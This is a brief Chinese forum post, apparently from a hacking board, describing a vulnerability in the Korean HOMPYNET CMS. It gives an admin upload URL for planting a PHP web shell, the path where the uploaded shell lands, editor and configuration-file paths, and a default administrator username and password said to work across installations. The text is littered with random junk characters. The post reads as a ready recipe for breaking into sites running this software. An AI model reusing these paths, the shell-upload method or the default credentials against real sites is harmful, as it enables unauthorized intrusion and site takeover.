韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
1 s! {2 U$ M5 f/ ~6 x
) L  S& t5 H! l& U6 Ahttp://www.xxx.com/admin/image_a ... p;iname=&iform=

http://www.xxx.com/admin/image_a ... p;iname=&iform=
' A: m' o, ~, r: ~( V' ^! E# {
上传后路径：
1 v5 D* e2 Q( A- O1 ~
0 t2 n. A; U9 U4 k  `0 fhttp://www.xxx.com/bis_web_page/images/shell.php.en

编辑器：

http://www.xxx.com/admin/editor/SWE.php
* K4 [/ s1 ^8 n  P% A$ g6 _/ b; Z7 z
1 @+ t! d# e3 i( g/ Thttp://www.xxx.com/program/editor/SWE.php
. d" Z8 u0 V5 V* a6 Y) n
数据配置文件路径：
7 e! c  s: v4 ]" N$ b5 }1 b
http://www.xxx.com/m_config/DATA/g_setting.php

% \/ g1 I! ^5 C' U' T此程序通用后台账号 ：gamsiw  php99
8 Z/ ]! F5 |* f6 v- j$ ^
​
" S% [1 O# P3 X# {0 _% i